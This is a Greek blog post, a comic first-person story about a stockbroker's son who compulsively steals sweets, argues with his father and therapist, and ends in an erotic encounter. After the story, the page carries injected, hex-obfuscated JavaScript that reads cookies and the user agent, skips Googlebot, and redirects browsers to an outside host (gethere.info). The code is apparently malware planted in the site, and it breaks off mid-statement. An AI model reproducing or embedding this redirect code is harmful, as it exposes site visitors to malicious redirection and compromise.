anwnymous

Ιουλίου 9, 2010

Είμαι εθισμένος στη ζάχαρη.

Filed under: Uncategorized — thelastrealanwnymous @ 10 :08 πμ

           Κοιτάζω γύρω μου. Ξέρετε τώρα : «διακριτικά». Έχω φάει το μπισκοτάκι του καφέ και ζαχαρώνω του διπλανού τραπεζιού. Αυτός διαβάζει την εφημερίδα του και ούτε που θα το αγγίξει. Περιμένω να σηκωθεί και σηκώνομαι και γώ δήθεν για τουαλέτα κι έτσι. Περνάω δίπλα από το τραπέζι και  το φορτώνω στην παλάμη μου. Κάνω μια κίνηση προς το παράθυρο και το βάζω στο στόμα . Σκέφτομαι λιγάκι μήπως με κοιτάζουν … μήπως κανένα γκαρσόνι , αλλά δεν … . Κλείνω το στόμα ερμητικά και… «τώρα οι δυό μας» σκέφτομαι. Το αφήνω να λιώνει απολαυστικά και αργά και δεν θα μπορέσω να μιλήσω σε κανέναν.  Ούτε καλημέρα. Είμαι «απασχολημένος».

          Έτσι μπουκωμένος πηγαίνω προς τουαλέτα και χωρίς να κόψω φόρα , κοντά στο ταμείο –το έχω ήδη σχεδιάσει – αρπάζω ένα κρουασάν , από το κάτω μέρος , από ένα δίσκο με ένα βουναλάκι από δαύτα . Τα χρεώνουν 3,5 ευρώ και η χαρά μου είναι μεγαλύτερη που δεν  πληρώνω. Το πατάω για να χωρέσει στην τσέπη και συνεχίζω προς τουαλέτα. Μπουκώνω το στόμα μου πριν μπω μέσα ακόμα . Μια τεράστια μπουκιά μου κόβει την ανάσα , ένας χείμαρρος σοκολάτας βγαίνει από τη βουτυρωμένη ζύμη ,έχω μια μικρή αγωνία μήπως με πρόσεξαν , αλλά αυτός ο πρωινός οργασμός κλοπής , αγωνίας και σοκολατένιας  γλύκας δεν συγκρίνεται με άλλη εμπειρία.

        Μπαίνω τουαλέτα , πλένω τα χείλη , σκουπίζομαι καλά -καλά , κοιτάζομαι  καθρέφτη,  χαμόγελο ευτυχίας, τακτοποιώ ρούχα μου , ισιώνω  πουκάμισο , περνάω λίγο τα δάχτυλα στο μαλλί , ρίχνω  τελική ματιά σε όλο το λουκ και βγαίνω. Επιστρέφω στο τραπέζι. Πιάνω την απόδειξη , πληρώνω εσπρέσο , πίνω μια τελευταία γουλιά νερό και σηκώνομαι. Πάω γραφείο.

        Πλησιάζω στις εγκαταστάσεις της εταιρείας μας . 180 τετραγωνικά χρηματιστηριακής εκδίκησης των πελατών μας για όσα τους συνέβησαν την τελευταία δεκαετία .Νέο Ψυχικό ,  Α όροφος , δίπλα σε Eurobank , 8000 κωδικούς,  με ενεργούς 2000 και οι μισοί και σε παράγωγα.

         Στο πεζοδρόμιο μας έχει κάνει κατάληψη όχημα της γκρουπ 4 και ξεφορτώνει χρήμα στην τράπεζα. Ξαφνικά , χάνω κάθε ενδιαφέρον για το γραφείο και καρφώνομαι στην καμπίνα του οδηγού. Μόλις αυτή τη στιγμή αφήνει στο ταμπλό, δίπλα στο τιμόνι,  απίθανο , εξαίσιο , τρομακτικά γευστικό σοκολατένιο κατασκεύασμα , που αγόρασε από  σταρμπακς. Θυμώνω με τον εαυτό μου που πρέπει να μπω στη λογική να τα βάλω με δαύτους. Καρφώνομαι στο παρμπρίζ και ελέγχω κάθε κίνηση τους. Ακόμα και ελάχιστα δευτερόλεπτα απροσεξίας είναι κρίσιμα. Ο ένας κατεβάζει το μπλακ-μποξ με το χρήμα και ο άλλος έχει παρατήσει  το τιμόνι και τον παρακολουθεί. Πλησιάζω την πόρτα του συνοδηγού. «Θα σε φάω» σκέφτομαι ενώ την ανοίγω αθόρυβα. Το αρπάζω και το συμπιέζω με μία μόνο κίνηση της παλάμης για να μπει στο χαρτοφύλακα . Τα τρώω όλα λίγο παραμορφωμένα είπατε; «…και σε μεγάλες μπουκιές» θα συμπληρώσω. Τώρα θα  ρωτήσω και γώ. Αν βρίσκατε το θησαυρό των πειρατών νομίζετε πως θα ήταν όλα τα αντικείμενα άψογα; Χμμμμ… μάλλον όχι.  Θα βρίσκατε και σπασμένες αλυσίδες , και δαχτυλίδια φορεμένα ακόμα στο κομμένο δάχτυλο, που τα φορούσε ,και περιδέραια με το αίμα του λαιμού που κόπηκε. Έτσι είναι τα λάφυρα . Ποιος  θα καθίσει να τα γυαλίσει; Αυτοί οι λεκέδες δείχνουν το ζωώδες  ένστικτο και την ασύγκριτη απόλαυση της αρπαγής.

        Τώρα ο οδηγός που έχει ακούσει τον θόρυβο της πόρτας ανοίγει τη δική του και με κεκτημένη ταχύτητα με ρωτάει «πως από δω;» Χαμογελάω. «Πέρασα να πω μια καλημέρα.» Με γνωρίζουν. Τους χρησιμοποιούμε και μείς στο γραφείο. Δεν προσέχει το πακέτο που λείπει . Εγώ σπρώχνω το χέρι μου βαθιά στο χαρτοφύλακα. «Θα σε φάω» σκέφτομαι και κλείνω την πόρτα.

          Μπαίνω στο κτίριο. Με χαιρετάει ο κλητήρας στην είσοδο. Βγάζω το σοκολατένιο πράγμα από την τσάντα. Το σκίζω μπροστά του ενώ με παρατηρεί. «Το πήρα μαζί μου να το φάω στο γραφείο» του λέω «και κοίτα τι έπαθα» . Προθυμοποιείται να το πετάξει στα σκουπίδια . Λέω ότι δεν είναι ανάγκη να λερωθεί κι αυτός , τώρα που την πάτησα εγώ . Μπαίνω στο ασανσέρ. Πόσο χρόνο θέλει για τον πρώτο όροφο; Ε , δεν κρατιέμαι και το βάζω στο στόμα και αρχίζει πάλι η στύση του δεξιού ημισφαιρίου του εγκεφάλου , που μόνο με κάτι τέτοια διεγείρεται.

Εκ των πραγμάτων δεν θα μπορέσω να καλημερίσω κανέναν και σήμερα.

       Κάθομαι στο γραφείο μου. Μου φέρνουν εσπρέσο με δύο μπισκό κανέλας. Πριν λίγα χρόνια την έψαξα πολύ με τον εσπρέσο. Κοιτάξτε τι ανακάλυψα. Είναι απαραίτητο για να πιεις καφέ να προηγηθεί ένα μπισκότο κανέλας. Η κανέλα ανεβάζει την ικανότητα του γευστικού κάλυκα στη γλώσσα. Για την ακρίβεια δημιουργεί ένα παροδικό φαινόμενο υπεραιμίας που κάνει τα νευράκια που καταλήγουν εκεί να λειτουργούν καλύτερα.. Έτσι όλα αυτά τα αρώματα και οι τανίνες και τα επιγευστικά που βάζει ο κατασκευαστής στον καφέ του ,  μπορεί να τα απολαμβάνει ο καταναλωτής. Συχνά στον εσπρέσο δεν φταίει ο καφές αλλά η κακή κατάσταση του στόματός μας και τα πράγματα είναι ακόμη χειρότερα για τους καπνιστές.

            Αφού τα έμαθα όλα αυτά με πολύ ενθουσιασμό αλλά και με την αυτοπεποίθηση του ειδήμονα σας πληροφορώ ότι έπαιξα πολύ κανέλα εκείνες τις μέρες. Έτσι ξεκίνησε το πάθος με τα μπισκότα . Θυσιάστηκα για να απολαμβάνω τον τέλειο εσπρέσο. Μετά ακολούθησαν τα γλυκά.

           Καταβροχθίζω με μία μπουκιά τα δύο μπισκό κανέλα και βάζω την πρώτη γουλιά. Κλείνω τα μάτια και πιάνω την παραμικρή απόχρωση καφέ , καβουρντίσματος , αρώματος , αλέσματος στο μύλο , καϊμάκι, θερμοκρασία. Κλείνω τα μάτια και είμαι στο Μιλάνο στην «πιάτσα ντου όμο» μπροστά στον καθεδρικό και γονατιστός μαζί με άλλους προσεύχομαι , ταπεινός οπαδός της  θρησκείας του εσπρέσο.   

            Η μέρα ξεκίνησε απίθανα . Αρχίζουν τα πρώτα προσυνεδριακά τηλεφωνήματα. Δέχομαι κλήση και από τη γραμματέα της ψυχολόγου μου για να επιβεβαιώσει το αποψινό ραντεβού. Συγνώμη για την παράληψη . Δεν σας είπα ότι έχω μία φορά τη βδομάδα ψυχανάλυση για να καταπολεμήσω τη μανία μου για γλυκά. Σας το λέω όμως και το είπα και στην ψυχολόγο : όλα άρχισαν από τα μπισκότα κανέλας. Εκείνη μου λέει …ξέρετε τώρα , ότι δεν έχω μόνιμη ερωτική σχέση , ότι δεν είχα την τρυφερότητα που ζητούσα στη ζωή μου , ότι πιθανόν έχω κάποια τραυματική εμπειρία από χωρισμό που προηγήθηκε και ζητάω την σιγουριά της απόλαυσης και το πάθος της ηδονής στα γλυκά. Τώρα πώς να το πω . Κάπως κολλάνε όλα αυτά που μου λέει αλλά όμως , εντάξει , κάτι παίζει και μένα στη ζωή μου, και δεν κάθομαι και με τα χέρια σταυρωμένα , και βγαίνω , και διασκεδάζω και κάνω και το δύσκολο σε κάτι «κουραστικές» περιπτώσεις , και βγαίνω και με μία ζωγράφο αυτό τον καιρό … Δηλαδή δεν έχω το προφίλ που περιγράφει αυτή , απλά δεν υπάρχει αυτό το συγκλονιστικό πρόσωπο που θα «με στείλει»…. Φαντάζομαι και σε σας – στους περισσότερους δηλαδή- πρέπει να συμβαίνει αυτό.

           Οκ. Το επιβεβαίωσα το ραντεβού και μάλλον σκέφτομαι πόσο θα με κάνει να βαρεθώ και σήμερα. Εν τω μεταξύ μιλάμε δεν λέει , ούτε σαν γυναίκα , ούτε σαν τύπος … τίποτε. Είναι και ύπνος . Πόσες φορές δεν της έχω φάει όλα τα ζελεδάκια από το μπολ στο σαλόνι περιμένοντας να μιλήσουμε για πάθος μου. Ως και το μπισκοτάκι του καφέ της έχω κλέψει μπροστά στα μάτια της. Της φέρνουν κάτι απίθανα γεμιστά Βιεννέζικα με αυθεντική σοκολάτα. Μία φορά όμως … Λοιπόν μία φορά την έπιασα στα πράσα. Φυσικά πρέπει να ομολογήσω ότι το πάθος μου με έχει κάνει αδίστακτο αλλά και …ενημερωμένο. Χρειάστηκε σε κάποια συνεδρία να βγει από το χώρο για να μιλήσει στο κινητό. Ε της άνοιξα την τσάντα και βρήκα μισό πακέτο Μιράντα Παπαδοπούλου. Πόσο φτηνιάρα σκέφτηκα . Τρώγοντας όμως περισσότερα από τα μισά ξαναθυμήθηκα παιδικές στιγμές δικές μου και αναθεώρησα. Μήπως τελικά έχει παιδική ψυχή και γι αυτό με ανέχεται;

         Χτυπάει το εσωτερικό τηλέφωνο. Με καλεί ο ντάντι στο γραφείο του. «Σήμερα είναι Πέμπτη» μου λέει , «να μη ξεχάσεις το ραντεβού με την ψυχολόγο σου.» «Μα και βέβαια δεν το ξεχνάω» «Ξέρεις …» μου λέει «επικοινωνώ μαζί της και ενημερώνομαι για την πρόοδο σου. Βλέπω ότι τα πας καλύτερα και ότι και εδώ στο γραφείο σταμάτησες τις επιθέσεις και τις κλοπές στο κολατσιό των υπαλλήλων μας».

Χαμογελάω. «Ήταν κάτι που δεν μπορούσα να το ελέγξω , ήταν πάνω από τις δυνάμεις μου , αλλά τώρα νομίζω ότι είμαι καλύτερα.» «Χαίρομαι που είσαι καλύτερα» μου λέει και αρχίζει να παίρνει το αφηρημένο του ύφος λίγα δευτερόλεπτα πριν βυθιστεί στους φακέλους τω πελατών μας. Τότε με την άκρη του ματιού μου  πιάνω πίσω από το τζάμι τον σεκιουριτά της G4 να ρωτάει έναν υπάλληλό μας και εκείνος να του δείχνει προς τα εδώ. Παραμένω απαθής στην καρέκλα μου , ενώ εκείνος με ορμή μπουκάρει στο γραφείο. Πριν καταλάβουμε τι συμβαίνει μου πετάει: «Δεν ντρέπεσαι ρε ; μου έφαγες τη σοκολατόπιττα; Λέγε ρε ; δεν ντρέπεσαι καθόλου;» Ο Ντάντι ενώ τον νόμιζα αφηρημένο του λέει : «Πως μιλάς έτσι στο γιο μου;» «Γιος σου ; γιος σου είπες;» «Μάλιστα γιος μου.» «Έτσι είστε σείς τα πλουσιόπαιδα , δεν χορταίνετε με τίποτε. Δεν είχες ρε μαλάκα 5 ευρώ να πάρεις ένα γλυκό , κλέβεις το δικό μου που παίρνω 25 ευρώ μεροκάματο; » Πρώτη φορά η  αυτοπεποίθηση του ντάντι για μένα κάμπτεται και αλλάζει ύφος. Με κοιτάζει με οίκτο ενώ τον ρωτάει; «Πόσο κάνει το γλυκό σας κύριε ; 5 ευρώ είπατε;» Βγάζει και του δίνει 10. Αυτός το πετάει κάτω και …«Δεν το θέλω  το 10ρικο σου, μόνο σκέψου ότι έκλεψε εμένα , το διανοείσαι , εμένα , Αλλά έτσι μαλακισμένα είστε όλοι οι πλούσιοι και δεν με νοιάζει που συνεργαζόμαστε , πάρε τώρα τηλ την G4 να με απολύσει» Όλη η εταιρεία  παρακολουθεί και είναι έτοιμοι να επέμβουν. «Τελειώσαμε» του λέει ο ντάντι με ένα αποφασιστικό αυστηρό ύφος στρατηγού που σημαίνει , φύγε γιατί θα σε ρίξω σ’ αυτούς να σε φάνε. Κλωτσάει μια τελευταία φορά το δεκάρικο στο πάτωμα και φεύγει.

            Ο ντάντι κοιτάζει τους υπαλλήλους μας και το βλέμμα είναι αρκετό για να επιστρέψουν στις δουλειές τους.

             Έχω σκυμμένο κεφάλι . Δεν νοιώθω τίποτε. Απλά μου αρέσουν τα γλυκά . Ούτε άρρωστος είμαι , ούτε ψυχολογικά προβλήματα έχω. Δεν τον κοιτάζω στα μάτια. Περιμένω. Περιμένω να ξεκινήσει την καθημερινή του ρουτίνα και ‘γω να επιστρέψω στο γραφείο μου. Όπως είμαι σκυμμένος βλέπω μια εύσωμη υπάλληλό μας έξω από το τζάμι,  με ένα μισάνοιχτο αλουμινόχαρτο μπροστά της. Ξέρω ότι έχει γούστο στα γλυκά και προσπαθώ να διακρίνω τι είναι. Αρχίζω να σχεδιάζω πως θα την πλησιάσω και τι θα της πω για να την παραπλανήσω …ξέρετε τώρα , όλα αυτά που θα προηγηθούν μιας γλυκιάς αρπαγής.

              Ο Ντάντι αφού άφησε να περάσει χρόνος μέσα σε βαριά σιωπή είπε κουρασμένα : «Λίγες φορές έχω βρεθεί σε τόσο δύσκολη θέση. Αν αυτή τη στιγμή σαν εταιρεία χρωστούσαμε 1 εκατομμύριο θα το διαχειριζόμουν ευκολότερα.» «Πες μου να φύγω» σκέφτομαι. Δεν σηκώνω κεφάλι. Ρίχνω μια αγωνιώδη τελευταία ματιά στο αλουμινόχαρτο πριν εκείνη αρχίσει να το καταβροχθίζει. « Θα σε φάω» ψιθυρίζω. «Θα συνεχίσεις τη θεραπεία σου. Δεν ξέρω αν αυτό είναι ασθένεια . Δεν το χωράει ο νους μου αυτό που κάνεις. Είναι σαν να είσαι τσαντάκιας. Δεν έχεις συναίσθηση που μπορεί να μπλέξεις. Πρόσεξε , από σήμερα το λογιστήριο θα σου δώσει ειδικό κονδύλι για γλυκά. Δεν περνάει στα βιβλία τέτοια δαπάνη , γι’  αυτό θα συνοδεύεται από χειρόγραφο σημείωμα που θα  σου υπενθυμίζει τη χρήση του»                          

             Σηκώνω το βλέμμα και τον κοιτάζω χωρίς συναισθήματα. Δεν μου δίνει σημασία πλέον και έχει σκύψει στους φακέλους του. Ώρα να πηγαίνω σκέφτομαι. Σηκώνομαι . Εκείνος πιάνει το τηλέφωνο. Μέχρι να περάσω τη τζαμένια πόρτα σχηματίζει βιαστικά ένα νούμερο . Βγαίνω από το χώρο του και πλησιάζω την εύσωμη. Χτυπάει η συσκευή της. Μου λέει καλημέρα και της ανταποδίδω. Σηκώνει το τηλέφωνο και επαναλαμβάνει φωναχτά: «Πρόσεχε το γλυκό σου;» και ενώ με το βλέμμα ψάχνει , ποιος συνάδελφος της κάνει πλάκα , ενστικτωδώς πιάνει το αλουμινόχαρτο με το άλλο και το βάζει στο συρτάρι της. Την κοιτάζω και το βλέμμα της σταματάει στο ντάντι. Μας  βλέπει πίσω από το τζάμι με τον θρίαμβο ζωγραφισμένο στο πρόσωπό του. Πρώτη φορά καταφέρνει να διαβάσει τη σκέψη μου. Από παιδί ήμουν πάντα σίγουρος ότι δεν μπορεί να με πλησιάσει, να με καταλάβει. Για μένα ήταν πάντα βουτηγμένος στον κόσμο του χρηματιστηρίου. Σήμερα με αιφνιδιάζει. Τώρα εξηγείται πως τόσα χρόνια διατηρεί την εταιρεία αλώβητη. Γυρίζω στο γραφείο.

           Έχουν περάσει δυο τρεις ώρες και η αγορά είναι σε πλήρη λειτουργία. Σκυμμένος στον υπολογιστή παρακολουθώ την αγαπημένη μου μετοχή. Για μια ακόμα φορά αναλογίζομαι αν θα αντέξουμε στην κρίση. Πόσοι θα συνεχίσουν να παίζουν μετοχές κάτω από τέτοιες συνθήκες . Ποιοι θα έχουν τα κότσια να αντέξουν στην κρίση ; Όσοι προσφέρουν καλύτερες υπηρεσίες φυσικά . Βέβαια τώρα που το σκέφτομαι η απέναντι χρηματιστηριακή έχει κι άλλα προϊόντα. Εδώ από το γραφείο μου φαίνεται μία υπάλληλος…εντάξει τώρα αυτή δεν έπρεπε να δουλεύει εκεί , της πάει περισσότερο για φωτομοντέλο. Μελαχρινή με μεγάλα μαύρα μάτια. Βλέμμα φωτιά , κινήσεις κύκνου, επιδερμίδα χαλκός. Αν ήμουν ρομαντικός θα έλεγα «Ρόδο του Ισπαχάν» αλλά … ναι δεν μπορώ να πω … είναι κάτι πολύ ξεχωριστό . Τώρα το φοβερό είναι ότι αυτή «η θεά» είναι ειδική στις αγοραπωλησίες πετρελαίου. Έχουμε μιλήσει κάποιες  φορές. Έχουμε συναντηθεί στη Eurobank της γειτονιάς Οι κακ(λ)ές γλώσσες λένε ότι δεν έχει σχέση αυτό τον καιρό , ότι είναι μόνη , είναι περίεργη , το κάνετε και σου μιλάει αραβικά γιατί το πρωί είχε πάρει τιμές απ’ τον Κόλπο , γουστάρει ακριβά δώρα … λένε τόσα πολλά και οι πληροφορίες εξακολουθούν να είναι συγκεχυμένες. Κάποια στιγμή κατάφερα να μάθω το όνομά της : Ίριδα .

            Τώρα κοιτάζω προς το παράθυρό της. Η Ίριδα λείπει. Λέω να κατέβω να φάω κανένα γλυκό. Κομμένες οι μαλακίες , θα το πληρώσω. Είμαι στο πεζοδρόμιο. Κοιτάζω στα γύρω καφέ μήπως την δω. Τελικά τη βρίσκω να πίνει καπουτσίνο και να διαβάζει Α4 από εκτυπωτή. «Πότε θα πέσει η τιμή  της βενζίνης ;» λέω πειραχτικά. «Σταμάτα να παίρνεις το τζιπ και αγόρασε ένα υβριδικό , η τέλος πάντων ένα μικρού κυβισμού. Δεν ρυπαίνεις και κερδίζεις σε καύσιμο» «Τι διαβάζεις;» ρωτάω. «Κατέβασα από το ίντερνετ μια πρόβλεψη για την πορεία του πετρελαίου και ήρθα να τη διαβάσω με την ησυχία μου. Εκεί …» και μου δείχνει με το βλέμμα στον πρώτο όροφο απέναντι μας «… παρακολουθούν συνέχεια τι κάνω , γουστάρουν σαν τρελοί τη θέση μου , παίρνω τα περισσότερα από όλους  , είναι  άλλα δύο άτομα με σεμινάρια στα καύσιμα και δεν μπορούν να καταλάβουν πως λειτουργεί η αγορά , προσπαθούν να με ψαρέψουν …τι να σου πω τώρα.» «Να φέρω δύο παγωμένα μους σοκολάτα;» τη ρωτάω. Μένει σκεπτική για μια στιγμή και μετά δέχεται. Πάω μόνος μου στο μπαρ , τα παιδιά εδώ με ξέρουν και επιστρέφω με τα μους στα χέρια. Όσο την ακούω να μιλάει καταβροχθίζω το δικό μου και εμβαθύνω στα καύσιμα . Περιμένω να επιτεθεί στο δικό της αλλά συνεχίζει να μιλάει. Ακούω πολύ προσεκτικά. Εγώ έχω ήδη δική μου άποψη για το πετρέλαιο. Τώρα εδώ που φθάσαμε θα την ακούσετε και σεις: Όταν στο μέλλον οι αναπτυσσόμενες αγορές γίνουν ανεπτυγμένες και οι κάτοικοί τους αγοράσουν εκατομμύρια αυτοκίνητα και τα έιρ-κοντίσιον τους συνεχίσουν να καίνε χειμώνα καλοκαίρι σε κτίρια και σε οχήματα , τότε όλοι πλέον θα είναι πεπεισμένοι ,  ότι το πετρέλαιο είναι μονόδρομος και μπορεί να φτιάξουμε ακόμα και τεχνητό πετρέλαιο αλλά δεν θα χρησιμοποιήσουμε άλλο καύσιμο. Ακριβώς τότε , όταν θα έχουμε τη μεγαλύτερη ημερήσια κατανάλωση παγκοσμίως σε πετρέλαιο θα χρησιμοποιηθεί (θα ανακαλυφθεί) καινούριο καύσιμο , ώστε να αντικατασταθούν μηχανήματα , οχήματα , συσκευές , εργοστάσια , εγκαταστάσεις για να μπορέσει να συνεχισθεί η οικονομική ανάπτυξη.                 

               Χειροκρότημα από την Ίριδα. Εγώ κοιτάζω το ανέπαφο μους της. «Τα πας πολύ καλά στο πετρέλαιο» μου λέει. Χαίρομαι ,αλλά οι ίριδες μου στο γλυκό. «Θες να βρεθούμε το απόγευμα να τα πούμε ;» μου προτείνει. Δέχομαι , δέχομαι , δέχομαι. I do ,I do ,I do!!!! Χτυπάει το κινητό της . Πρέπει να επιστρέψει στη δουλειά. «Και το μους…» τη ρωτάω «δεν θα το φας;». Πρέπει να φύγει. Δεν περιμένω δευτερόλεπτο , το πιάνω στα χέρια μου και αρχίζω. «Σου αρέσουν τόσο πολύ τα γλυκά;» ρωτάει. «Πεθαίνω» της λέω. Την κοιτάζω να απομακρύνεται και σκέφτομαι πως με ένα κουτάλι της σούπας θα έβαζα μεγαλύτερες μπουκιές στο στόμα μου.     

.             Επιστρέφω γραφείο. Τη βλέπω από το τζάμι αφοσιωμένη στην οθόνη της.

Κάποτε κλείνει η αγορά και ο ντάντι με φωνάζει στο γραφείο. Είναι εκεί ο λογιστής. Έχουν υπολογίσει 10 ευρώ τη μέρα για γλυκά . 300 το μήνα. Μου τα δίνει και ο νταντι τον ρωτάει: «Πως θα τα δικαιολογήσεις;» «Καύσιμα »  του απαντάει εκείνος.

              Μιλάω το βραδάκι με την Ίριδα στο κινητό και – τι έκπληξη- με καλεί στο σπίτι της. Εκεί με περιμένει δεύτερη έκπληξη. Αλλά θα σας τα πω με τη σειρά. 

              Το απόγευμα πήγα στην ψυχολόγο. Ο ντάντι την είχε ήδη ενημερώσει για το επεισόδιο με την γκρουπ 4 . Μου την είχε στημένη λοιπόν . Ακούστε τι έγινε: Κάθομαι στον καναπέ της και είναι κάπως τυπική μαζί μου αυτή τη φορά. Δεν κάνει προλόγους και μπαίνει κατευθείαν στο θέμα : «Σήμερα θα έχουμε μία διαφορετική προσέγγιση στο θέμα μας. Θέλω να θυμηθείς και να μου περιγράψεις τι σκέφτεσαι την ώρα που προβαίνεις σ’ αυτές τις πράξεις» «Λίγο αστυνομική μου φαίνεται η ορολογία :προβαίνεις σ’ αυτές τις πράξεις» λέω. Δεν ακούει το χιούμορ μου και λέει: «Μπορείς να τα γράψεις ή να μιλήσεις στο MP3.» Δεν θυμάμαι τι μπορεί να σκέφτομαι την ώρα που αρπάζω γλυκά , υπάρχει μια γενική αίσθηση ικανοποίησης και χαράς ,  νομίζω πως έχει ενδιαφέρον και ο τρόπος που καταστρώνω το σχέδιο  και ο ενθουσιασμός που νιώθω όταν πετυχαίνει , αλλά δεν μπορώ να σκεφτώ κάτι πιο συγκεκριμένο. Δεν μπορώ να μπω σε λεπτομέρειες ,γιατί νομίζω πως κυριαρχεί εκείνες τις στιγμές στο μυαλό μου ,ένα χαρούμενο νέφος που έχει να κάνει με την προσμονή της ηδονής και την επιτυχία της υπεξαίρεσης , για να μιλήσω και ’γω λίγο αστυνομικά τώρα.

          «Δεν έχω να πω κάτι…» απαντάω μετά από πολύ σκέψη «… δεν είναι συγκεκριμένες σκέψεις , το μόνο ξεκάθαρο είναι το σχέδιο που καταστρώνω και η αρχική εικόνα του γλυκού-στόχου. Μετά ακολουθεί ένας απερίγραπτος ενθουσιασμός.  Αυτό είναι όλο.» «Δεν βοηθάτε όμως έτσι , μήπως θυμάστε κάτι περισσότερο;» «Ίσως μια αρχική αγωνία , μια αναζήτηση του θηράματος με μία αίσθησης πείνας , εντοπισμός στόχου, πλάνο επίθεσης , λάφυρα – ενθουσιασμός»

«Πόσο μπορεί να πονάτε μέσα σας για να αναγκάζεσθε να κάνετε όλα αυτά» μου λέει με μια θλίψη στα μάτια της. «Δεν πονάω καθόλου σε πληροφορώ , αισθάνομαι καλύτερα από κάθε άλλη φορά και νομίζω ότι ανήκω στις σπάνιες περιπτώσεις που έχω να ασχοληθώ με κάτι άκρως ενδιαφέρον και συναρπαστικό. Ακόμα και αυτό το ποινικό μέρος που προβληματίζει τον ντάντι δεν έχει νόημα. Ο πιο κακός ζαχαροπλάστης αν σε δει να καταβροχθίζεις με τόσο πάθος το κλεμμένο γλυκό του , το πιθανότερο είναι να σε κεράσει και δεύτερο.» «Δεν είναι αυτό η καρδιά του προβλήματος …» μου λέει πονεμένα «…το θέμα είναι αυτή η πληγή που προσπαθείς να θεραπεύσεις με τόσο πρωτόγονο τρόπο . Γιατί δεν είναι θεραπεία , απλά σταματάς τον πόνο. Πόσο θα πονάς φαντάζομαι» και ξανά αυτή θλίψη στα μάτια της … 

            Δεν έχουμε τίποτε άλλο να πούμε και ρίχνω μια ματιά γύρω μου μήπως εντοπίσω εκείνα τα σπάνια βιεννέζικα μπισκό . Η ψυχολόγος μου διατηρεί μια ατμόσφαιρα σιωπής μέχρι το τέλος του ραντεβού και φεύγοντας μου ζητάει και πάλι να προσπαθήσω να θυμηθώ . Τώρα έχω το μυαλό μου μόνο στην Ίριδα και ανυπομονώ να φύγω.

             Φθάνω στο σπίτι της . Μονοκατοικία , ανακαινισμένο, μεγάλο αστικό σπίτι. Μου ανοίγει η Ίριδα . Φοράει ένα λιτό κοντό φόρεμα και με τις αξεπέραστες ικανότητες μου οσμίζομαι γεμιστά στο φούρνο χωρίς κιμά. Αμέσως περνάμε  στην πρώτη έκπληξη : μένει με τους δικούς της. Αλλά σήμερα λείπουν. «Τι ώρα θα επιστρέψουν; » σκέφτομαι. Είναι στο εξοχικό τους στη Χαλκίδα. Επίσης της άφησαν γεμιστά  στην ηλεκτρική κουζίνα πριν φύγουν.

              Όπως έχετε καταλάβει από την πρώτη εικόνα βγαίνει το συμπέρασμα ότι μια γυναίκα δεν έχει καμία σχέση μ’ αυτό το μύθο που χτίζουν οι άντρες γύρω της στο γραφείο. Μπορεί να είναι απλή ,καθημερινή , ευχάριστη , να σε κοιτάει στα μάτια όταν σου μιλάει και να χαίρεται μ’ αυτά τα μικρά πράγματα που σε ξεκουράζουν μετά τη δουλειά. 

              «Ήταν μεγάλη έκπληξη για μένα οι γνώσεις σου στο πετρέλαιο» μου είπε. Σίγουρα δεν ασχολείστε με εμπορεύματα στην εταιρεία σας;» «Δεν ασχολούμαστε. Όμως εγώ για να έχω καλύτερη εικόνα της αγοράς διαβάζω οικονομικές στήλες . Για την ακρίβεια έχω την εξής εικόνα στο μυαλό μου. Η αγορά είναι ένας έφηβος , ανήσυχος , δυνατός , ζωηρός που κρατάει το χέρι του μισότυφλου παππού του που είναι η οικονομία και περπατάνε μαζί . Η διαρκώς ανήσυχη και αναπτυσσόμενη αγορά οδηγεί την βραδυκίνητη και συντηρητική οικονομία. Η αγορά προσπαθεί να ενσωματώσει νέες ιδέες , και να ακολουθήσει επικίνδυνες ανηφόρες και η οικονομία σφίγγει το χέρι και την συγκρατεί στέφοντας τη σε πιο σίγουρες επιλογές . Επειδή το τράβηγμα του χεριού επηρεάζει και τους δύο ,ρίχνουν τις ευθύνες για τα λάθη ο ένας στον άλλο.» δεύτερο χειροκρότημα σήμερα.

            Η Ίριδα κάθεται δίπλα μου και μιλάμε. Της αγγίζω το πόδι. Ανεβάζω το χέρι μου στη μέση , στα πλευρά και μετά στην πλάτη , σαν απαλό χάδι. Την κοιτάζω στα μάτια . Βρισκόμαστε στο μεγάλο σαλόνι του σπιτιού με βαριά έπιπλα και κλασσική διακόσμηση. Το χέρι μου προχωράει .Αγγίζω τα μαλλιά της. Μου πιάνει το χέρι και μου λέει: «Περιμένεις λίγο;» Περιμένω.  Εξαφανίζεται μάλλον προς την κουζίνα. Μμμμ μπορεί να φέρει κανένα γλυκό , σκέφτομαι. Θέλω να ρίξω μια ματιά στο χώρο. Έχω έμπνευση να ανακαλύψω φοντανιέρα με σπάνια σοκολατάκια. Χαζεύω τους πίνακες . Το στάτους κβό μιας άλλης εποχής κυριαρχεί παντού. Χάνομαι στις εικόνες και στις σκηνές κυνηγιού , όταν κάποια στιγμή ένα θρόισμα , ένας ήχος απαλών βημάτων με κάνουν  να στραφώ. Είναι ξυπόλητη , γυμνή και έχει απλώσει μερέντα στο σώμα , στα επίμαχα , στα χείλη , στο λαιμό . Άφωνος. Με κοιτάζει και περιμένει την αντίδραση μου. Ένα κύμα ηδονής με πνίγει , σπασμοί πάθους κόβουν την ανάσα μου.

«Θα σε φάω»  ψιθυρίζω και περνάω στην επίθεση.        

ακαρασ1979 @ γιαχου τζιαρvar _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 